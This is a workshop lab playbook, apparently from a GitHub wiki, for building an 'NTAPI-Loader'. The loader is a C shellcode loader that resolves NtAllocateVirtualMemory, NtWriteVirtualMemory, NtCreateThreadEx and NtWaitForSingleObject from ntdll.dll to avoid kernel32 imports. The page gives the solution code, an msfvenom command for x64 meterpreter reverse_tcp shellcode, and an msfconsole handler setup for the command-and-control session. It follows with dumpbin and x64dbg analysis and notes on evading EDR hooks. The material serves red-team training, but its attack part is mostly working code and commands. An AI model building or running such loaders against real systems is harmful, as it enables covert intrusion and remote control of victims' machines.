Skip to content

10: Chapter 5 | LAB Exercise Playbook

VirtualAllocEx edited this page Aug 6, 2023 · 29 revisions

Exercise: NTAPI-Loader

In this exercise we will make the first modification to the Win32-API loader, replacing the Windows APIs (kernel32.dll) with Native APIs also called native functions (ntdll.dll). We will create a shellcode loader based on Native APIs and call it NTAPI-Loader.

Prinicipal_ntapis

The code template for this tutorial can be found here.

Exercice tasks:

Build NTAPI-Loader

Task Nr. Task Description
1 Download the NTAPI loader POC for this chapter.
2 The code in the POC is partially complete. Following the instructions in this playbook, you need to finish the part where the four native functions are loaded from ntdll.dll by using GetProcAddress.
3 Then create x64 meterpreter shellcode, copy it into the POC and compile it.
4 Create and run a staged x64 meterpreter listener using msfconsole.
5 Run your compiled .exe and check that a stable command and control channel opens.

Analyse NTAPI-Loader

Task Nr. Task Description
6 Use the Visual Studio dumpbin tool to analyse the NTAPI-Loader. Are any Win32 APIs being imported from kernel32.dll? Is the result what you expected?
7 Use x64dbg to debug or analyse the NTAPI-Loader.
  • Check which Win32 APIs and native APIs are being imported. If they are being imported, from which module or memory location are they being imported? Is the result what you expected?
  • Check from which module or memory location the syscalls for the four APIs used are being executed. Is the result what you expected?
  • etc.

Visual Studio

In this POC, the four Win32 APIs from the Win32-API loader are replaced with the corresponding native functions.

  • Memory allocation, VirtualAlloc is replaced by NtAllocateVirtualMemory.
  • Write shellcode to memory, WriteProcessMemory is replaced by NtWriteVirtualMemory.
  • Shellcode execution, CreateThread is replaced by NtCreateThreadEx.
  • And WaitForSingleObject is replaced by NtWaitForSingleObject.

A few words about the functionality of the NTAPI-Loader code. Unlike the Windows APIs, most native APIs are not officially or partially documented by Microsoft and are therefore not intended for Windows OS developers. In the case of the Win32-API loader from the previous chapter, we don't need to worry about manually implementing function structures, or how to handle transitions from Win32 APIs to native APIs, etc. This is because the Windows headers like Windows.h have already implemented all the functionality and provide us with the functionality by using the Win32 APIs.

But if we use the native APIs directly, without the help of the Win32 APIs, it is a bit more complicated and additional code has to be used in the NTAPI-Loader. The reason for this is that the Windows headers or libraries do not support the direct use of native functions, so we have to implement the required code manually. Which means to be able to use native funtions in the NTAPI-Loader we have to get the memory address of each native function from ntdll.dll at runtime.

First we need to define the function pointers for all the native functions we need. For example, typedef NTSTATUS(WINAPI* PNTALLOCATEVIRTUALMEMORY)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); creates a new type PNTALLOCATEVIRTUALMEMORY which is a function pointer of type NTSTATUS. In general, a function pointer is a type of pointer that points to a function instead of a data value or an array. It holds the memory address of a function, and using this pointer, we can call the function. This part is already fully implemented in the NTAPI-Loader POC.

// Define typedefs for function pointers to the native API functions we'll be using.
// These match the function signatures of the respective functions.
typedef NTSTATUS(WINAPI* PNTALLOCATEVIRTUALMEMORY)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS(NTAPI* PNTWRITEVIRTUALMEMORY)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(NTAPI* PNTCREATETHREADEX)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
typedef NTSTATUS(NTAPI* PNTWAITFORSINGLEOBJECT)(HANDLE, BOOLEAN, PLARGE_INTEGER);

The second step is to get the memory address of each native function from ntdll.dll at runtime. So we use GetModuleHandleA to open a handle to ntdll.dll in memory. Then we pass the handle and the name e.g. NtAllocateVirtualMemory to GetProcAddress to get a pointer to the native function e.g. NtAllocateVirtualMemory in ntdll.dll. Next we cast this function pointer to the type PNTALLOCATEVIRTUALMEMORY and assign or store the resulting function pointer to the corresponding variable, e.g. NtAllocateVirtualMemory.

In simple words, NtAllocateVirtualMemory is declared as a function pointer of type PNTALLOCATEVIRTUALMEMORY and it holds the memory address of the NtAllocateVirtualMemory function as it is loaded into the current process from ntdll.dll. So when we call NtAllocateVirtualMemory in the NTAPI-Loader code, we are actually calling the function from ntdll.dll at the memory address stored in the NtAllocateVirtualMemory function pointer.

Task

This code part is not finished and must be completed by the workshop attendee. In the NTAPI-Loader POC you will see, that the code for the native function NtAllocateVirtualMemory is already written and based on that schema you have to complete it for the other three native functions NtWriteVirtualMemory, NtCreateThreadEx and NtWaitForSingleObject.

// Here we load the native API functions from ntdll.dll using GetProcAddress, which retrieves the address of an exported function
// or variable from the specified dynamic-link library (DLL). The return value is then cast to the appropriate function pointer typedef.
    PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory = (PNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");    
Solution If you were unable to complete the code for the three missing native functions at that time, you can take the code from the solution and use it in your NTAPI loader.
// Here we load the native API functions from ntdll.dll using GetProcAddress, which retrieves the address of an exported function
    // or variable from the specified dynamic-link library (DLL). The return value is then cast to the appropriate function pointer typedef.
    PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory = (PNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
    PNTWRITEVIRTUALMEMORY NtWriteVirtualMemory = (PNTWRITEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");
    PNTCREATETHREADEX NtCreateThreadEx = (PNTCREATETHREADEX)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
    PNTWAITFORSINGLEOBJECT NtWaitForSingleObject = (PNTWAITFORSINGLEOBJECT)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWaitForSingleObject");

Shellcode declaration same as before in the Win32-API loader.

// Insert the Meterpreter shellcode as an array of unsigned chars (replace the placeholder with actual shellcode)
    unsigned char code[] = "\xfc\x48\x83";

Meterpreter Shellcode

Task

Again, we will create our meterpreter shellcode with msfvenom in Kali Linux. To do this, we will use the following command and create x64 staged meterpreter shellcode.

kali>

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IPv4_Redirector_or_IPv4_Kali LPORT=80 -f c > /tmp/shellcode.txt

02

The shellcode can then be copied into the NTAPI-Loader POC by replacing the placeholder at the unsigned char, and the POC can be compiled as an x64 release.

03

MSF-Listener

Task

Before we test the functionality of our NTAPI-Loader, we need to create a listener within msfconsole.

kali>

msfconsole

msf>

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost IPv4_Redirector_or_IPv4_Kali
set lport 80 
set exitonsession false
run

04

Once the listener has been successfully started, you can run your compiled NTAPI-Loader. If all goes well, you should see an incoming command and control session.

05

Loader Analysis: Dumpbin

Task

The Visual Studio tool dumpbin can be used to check which Windows APIs are imported via kernel32.dll. The following command can be used to check the imports. Which results do you expect?

cmd>

cd C:\Program Files (x86)\Microsoft Visual Studio\2019\Community
dumpbin /imports medium_level.exe
Results

Compared to the Win32-API loader, you can see that the NTAPI-Loader no longer imports the Windows APIs VirtualAlloc, WriteProcessMemory, CreateThread, and WaitForSingleObject from kernel32.dll. This was expected and is correct.

06

Loader Analysis: x64dbg

Task

The first step is to run your NTAPI-Loader, check that the .exe is running and that a stable meterpreter C2 channel is open. Then we open x64dbg and attach to the running process, note that if you open the NTAPI-Loader directly in x64dbg you need to run the assembly first.

06

06

Task

Then we want to check which APIs (Win32 or Native) or if the correct APIs are being imported and from which module or memory location. Remember that no Win32 APIs are used in the NTAPI-Loader. What results do you expect?

Results

Checking the imported symbols in our NTAPI-Loader, we should see that the Win32 APIs VirtualAlloc, WriteProcessMemory, CreateThread and WaitForSingleObject are no longer imported from kernel32.dll. So the result is the same as with dumpbin and seems to be valid.

09

Task

We also want to identify the sections of code where GetModuleHandleA is used to open a handle to ntdll.dll. We also want to identify the sections where GetProcAddress is used to get the memory address of each native function. We also want to identify the function pointers used to store the memory address of each native function.

Results

In the case of the NTAPI-Loader, we want to directly access the native functions in ntdll.dll. This is because the functions in ntdll.dll are not directly available through the standard Windows API headers and libraries. They have to be dynamically loaded at runtime. If we analyse the disassembled code of the NTAPI-Loader (Follow in dissassembler), we can identify the code where for each of the four native functions GetModuleHandleA is used to open the handle to ntdll.dll, pass the handle to GetProcAddress, get the memory address of the native function e.g. NtAllocateVirtualMemory and store it into the respective function pointer.

10

11

Furthermore, if we use the symbols register in x64dbg, we can identify the manually declared function pointers that are needed to use the native functions without the help of Win32 APIs from kernel32.dll.

12

Task

We also want to check, for example, for NtAllocateVirtualMemory, from which module or memory location the syscall statement, return statement or native function code is executed.

Results

Because the defined function pointers only hold the memory address of the respective native function, once the memory address is called by executing the function pointer, or more precisely by executing the variable declared as a function pointer, the syscall statement, return statement, etc. must be executed from a memory location in ntdll.dll.

Summary: NTAPI-Loader

  • We made the transition from high-level APIs to medium-level APIs, or from Windows APIs to native APIs.
  • Syscall execution via NTAPI-Loader.exe -> ntdll.dll -> syscall
  • Loader no longer imports Windows APIs from kernel32.dll
  • In the case of EDR, only kernel32.dll would hook -> EDR could be bypassed in the context of user mode hooks in kernel32.dll, but normally this is not the case.